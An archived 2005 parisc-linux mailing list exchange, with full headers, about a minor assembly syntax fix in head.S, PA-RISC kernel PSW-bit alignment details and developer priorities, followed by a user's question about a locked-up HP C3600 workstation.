NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Apr 2005 06:34:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 22 Apr 2005 08:34:41 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2EA087D629;
	Fri, 22 Apr 2005 00:34:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16659-09; Fri, 22 Apr 2005 00:34:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5FF837D60F;
	Fri, 22 Apr 2005 00:34:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B010C7D41F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Apr 2005 00:34:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16620-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Apr 2005 00:34:26 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 3EA0D7D40C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Apr 2005 00:34:26 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id EB82029804C;
	Fri, 22 Apr 2005 00:36:50 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13542-04; Fri, 22 Apr 2005 00:36:49 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8CC93298011; Fri, 22 Apr 2005 00:36:49 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <420889870001DAD9@mail-4-bnl.tiscali.it>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Vf4aYvpkeSE57L6WZHQhaXN2IGRvb8CV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22642

On Thu, Apr 21, 2005 at 08:39:13AM +0200, Joel Soete wrote:
> -       ssm             0,0
> +       ssm             0, %r0

Joel,
Amusing you should just fix one...

grundler <509>pwd
/usr/src/linux-2.6/arch/parisc/kernel
grundler <510>fgrep ssm *.S | fgrep 0,0 | wc -l
337

Caveat: 334 of those are in perf_asm.S which isn't functional.

I'm not inclined to change the remaining three since the assembler
obviously accepts it.

> PS: is there some insterest in some white space cleanup in those *.S

Hrm...not from me.
My priorities are:
o getting pa8800 stable (latest kernels still occasionally segfaults.)
o get MPT/Fusion driver working on parisc (HPMCs on IOC reset)
o MSI support on parisc.
o stable ad1889 (workstation audio)
o FX-E support (ok, that's wishful thinking now...)

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] head.S: a small typo
Date: Fri, 22 Apr 2005 18:04:03 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <420889870001E83F@mail-4-bnl.tiscali.it>
References: <20050422063649.GB13389@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623762 14034 80.91.229.3 (22 Nov 2014 02:36:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Apr 2005 16:04:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 22 Apr 2005 18:04:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6867E7D615;
	Fri, 22 Apr 2005 10:04:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20487-05; Fri, 22 Apr 2005 10:04:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 689D67D626;
	Fri, 22 Apr 2005 10:04:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 46D2C7D60F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Apr 2005 10:04:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20477-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Apr 2005 10:04:14 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id A656C7D60D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Apr 2005 10:04:14 -0600 (MDT)
Original-Received: from mail-4-bnl.mail.tiscali.sys ([10.39.115.134]
	helo=mail-4-bnl.tiscali.it)
	by mrqout1.tiscali.it with esmtp (Exim 4.43)
	id 1DP0dR-0001yp-3J; Fri, 22 Apr 2005 18:04:08 +0200
Original-Received: from [57.67.177.33] by mail-4-bnl.tiscali.it with HTTP;
	Fri, 22 Apr 2005 18:04:03 +0200
In-Reply-To: <20050422063649.GB13389@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: y0UbYis1eSE57L6WZHQhaXN2IGRvb0Ca
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22643


> -- Original Message --
> Date: Fri, 22 Apr 2005 00:36:49 -0600
> From: Grant Grundler <grundler@parisc-linux.org>
> To: Joel Soete <soete.joel@tiscali.be>
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] head.S: a small typo
> 
> 
> On Thu, Apr 21, 2005 at 08:39:13AM +0200, Joel Soete wrote:
> > -       ssm             0,0
> > +       ssm             0, %r0
> 
> Joel,
> Amusing you should just fix one...
> 
Just investigate one file at  a time ;-)

> grundler <509>pwd
> /usr/src/linux-2.6/arch/parisc/kernel
> grundler <510>fgrep ssm *.S | fgrep 0,0 | wc -l
> 337
> 
Do you want I prepare other patches too ?

> Caveat: 334 of those are in perf_asm.S which isn't functional.
> 
> I'm not inclined to change the remaining three since the assembler
> obviously accepts it.
Yes curiously?

> 
> > PS: is there some insterest in some white space cleanup in those *.S
> 
> Hrm...not from me.
> My priorities are:
> o getting pa8800 stable (latest kernels still occasionally segfaults.)
Isn't it related to the generic pb encounter elsewhere?
(all my system 32bit mainly make from time to time panic: that was in fac=
t
what I was trying to study, when interruptions are enabled and disabled (=
PSW
I bit if I well understand?)...) 

> o get MPT/Fusion driver working on parisc (HPMCs on IOC reset)
> o MSI support on parisc.
> o stable ad1889 (workstation audio)
> o FX-E support (ok, that's wishful thinking now...)
> 
Ah you finaly found some doc ?

Thanks,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] head.S: a small typo
Date: Sat, 23 Apr 2005 00:31:39 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <20050423063139.GB857@colo.lackof.org>
References: <20050422063649.GB13389@colo.lackof.org>
	<420889870001E83F@mail-4-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623762 14043 80.91.229.3 (22 Nov 2014 02:36:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Apr 2005 06:29:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx051) with SMTP; 23 Apr 2005 08:29:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E61187D63E;
	Sat, 23 Apr 2005 00:29:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25012-02; Sat, 23 Apr 2005 00:29:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BAC7E7D637;
	Sat, 23 Apr 2005 00:29:17 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B5EEA7D630
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 23 Apr 2005 00:29:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22539-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 23 Apr 2005 00:29:14 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 41EC47D62B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 23 Apr 2005 00:29:14 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 52E74298056;
	Sat, 23 Apr 2005 00:31:40 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00972-04; Sat, 23 Apr 2005 00:31:39 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id DF518298011; Sat, 23 Apr 2005 00:31:39 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <420889870001E83F@mail-4-bnl.tiscali.it>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Fo4bYmNbeSE57L6WZHQhaXN2IGRvb0CQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22644

On Fri, Apr 22, 2005 at 06:04:03PM +0200, Joel Soete wrote:
> > grundler <509>pwd
> > /usr/src/linux-2.6/arch/parisc/kernel
> > grundler <510>fgrep ssm *.S | fgrep 0,0 | wc -l
> > 337
>
> Do you want I prepare other patches too ?

No, but thanks anyway.

> > My priorities are:
> > o getting pa8800 stable (latest kernels still occasionally segfaults.)
>
> Isn't it related to the generic pb encounter elsewhere?
> (all my system 32bit mainly make from time to time panic: that was in fact
> what I was trying to study, when interruptions are enabled and disabled (PSW
> I bit if I well understand?)...)

I don't know but I'm skeptical it's generic core issue.
If it were generic, I would expect to see similar symptoms on ia64
and x86 and I don't.

> > o get MPT/Fusion driver working on parisc (HPMCs on IOC reset)
> > o MSI support on parisc.
> > o stable ad1889 (workstation audio)
> > o FX-E support (ok, that's wishful thinking now...)
>
> Ah you finaly found some doc ?

No...just the GPL'd FX/5 and FX/10 drivers that have been available
for a long time but don't seem to be sufficient to write a new driver
for parisc.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] head.S: a small typo
Date: Sat, 23 Apr 2005 15:35:16 -0400 (EDT)
Lines: 44
Approved: news@gmane.org
Message-ID: <200504231935.j3NJZG1n007660@hiauly1.hia.nrc.ca>
References: <426A8857.5090702@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623763 14051 80.91.229.3 (22 Nov 2014 02:36:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Apr 2005 19:35:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 23 Apr 2005 21:35:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 513047D662;
	Sat, 23 Apr 2005 13:35:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30085-06; Sat, 23 Apr 2005 13:35:26 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 600F67D663;
	Sat, 23 Apr 2005 13:35:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C6E67D65C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 23 Apr 2005 13:35:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30085-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 23 Apr 2005 13:35:20 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 1AE507D657
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 23 Apr 2005 13:35:20 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j3NJZGhF007661; Sat, 23 Apr 2005 15:35:17 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j3NJZG1n007660;
	Sat, 23 Apr 2005 15:35:16 -0400 (EDT)
In-Reply-To: <426A8857.5090702@tiscali.be> from "Joel Soete" at Apr 23,
	2005 05:39:35 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 18YYYvQheSE57L6WZHQhaXN2IGRvb4CY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22645

> It was why ifdef __LP64__ of align_rfi

This is point 2 on page F-4 and F-5 of the arch.

#ifdef __LP64__ /* move to psw.h? */
#define         PSW_BITS        PSW_Q+PSW_I+PSW_D+PSW_P+PSW_R
#else
#define         PSW_BITS        PSW_SM_Q
#endif

$rfi:
        /* turn off troublesome PSW bits */
	rsm             PSW_BITS,%r0

	/* kernel PSW:
	 *  - no interruptions except HPMC and TOC (which are handled by PDC)
	 *  - Q bit set (IODC / PDC interruptions)
	 *  - big-endian
	 *  - virtually mapped
	 */

The above code turns off the Q bit in both 32 and 64 bit kernels.  Thus,
it's not clear why this is only needed in a 64-bit kernel.  Indeed pacache.S
uses this sequence.  The comment seems to imply that at one time the Q
bit was set in this code.

The clearing rsm can't be within 8 instructions of a page boundary.  Thus,
it seems the alignment of 256 can be reduced to 128 in head.S.  We also
seem to have one more nop than needed.

The alignment of 128 used for flush_tlb_all_local and disable_sr_hashing_asm
might be too small.  For example, the second rsm in disable_sr_hashing_asm
is 31 instructions after the first.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Gaffney <agaffney@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] issues with a C3600
Date: Sun, 24 Apr 2005 11:51:30 -0500
Lines: 52
Approved: news@gmane.org
Message-ID: <426BCE92.3040006@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623763 14057 80.91.229.3 (22 Nov 2014 02:36:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Apr 2005 16:51:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 24 Apr 2005 18:51:07 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D7D17D677;
	Sun, 24 Apr 2005 10:50:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04341-07; Sun, 24 Apr 2005 10:50:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 545F07D679;
	Sun, 24 Apr 2005 10:50:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9169A7D668
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 24 Apr 2005 10:50:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04294-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 24 Apr 2005 10:50:49 -0600 (MDT)
Original-Received: from ryoko.agaffney.org (FL3-24.217.240.70.charter-stl.com
	[24.217.240.70])
	by free.linux.hp.com (Postfix) with ESMTP id 167BC7D660
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 24 Apr 2005 10:50:49 -0600 (MDT)
Original-Received: from [192.168.0.10] (kagome [192.168.0.10])
	by ryoko.agaffney.org (Postfix) with ESMTP id DA62C1E000B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 24 Apr 2005 11:45:11 -0500 (CDT)
User-Agent: Mozilla Thunderbird 1.0.2 (X11/20050325)
X-Accept-Language: en-us, en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LKsZYt8FeSE57L6WZHQhaXN2IGRvb8Ca
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22646

I know this question isn't exactly related to linux, but I figured this would be
a good place to ask and the box *is* running Linux :P

I recently managed to get a HP C3600 workstation. It had been working fine for
the last week or so on serial console. I decided to try to get keyboard/video
working. I picked up one of those PS/2->USB adapters that handles the USB stuff
for the keyboard. I plugged in the keyboard and stuck in an ATI Rage II Mach64
GT card that I had laying around.

The machine came up just fine but it kept going to serial console. The video
card was detected:

Information Menu: Enter command > io

I/O MODULE INFORMATION
                                                                     IODC IODC
Path         Decimal     Type                  Location   HVER SVER  Vers Dep
------------ ----------- --------------------- ---------- ---- ----  ---- ----
<snip>
PCI6         10/1/6/0    VGA                   slot 6     0070 8500  0x01 0x00

I ran a few more information commands and walked away leaving the machine
running. When I came back ~15 minutes later, I saw the following on the serial
console:

Main Menu: Enter command > pcoq000000f0 f000b748
    000000f0 f000b74c
ior 00001f38
iir 53c63e73
pcoq000000f0 f000b748
    000000f0 f000b74c
ior 00001f38
iir 53c63e73
(same 4 lines repeating 6 more times)
pcoq000000f0 f000b748
    000

At this point, the box was locked up (not responding to any input over serial).
I shut it off and turned it back on. I hear the fans and HD spinning up, but all
I get on the LCD is blocks across the top row, and nothing comes over the
serial. I've unplugged the keyboard and removed the video card, but that hasn't
helped. Does anyone have any idea what happened or how to fix it?

-- 
Andrew Gaffney                            http://dev.gentoo.org/~agaffney/
Gentoo Linux Developer                                   Installer Project
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
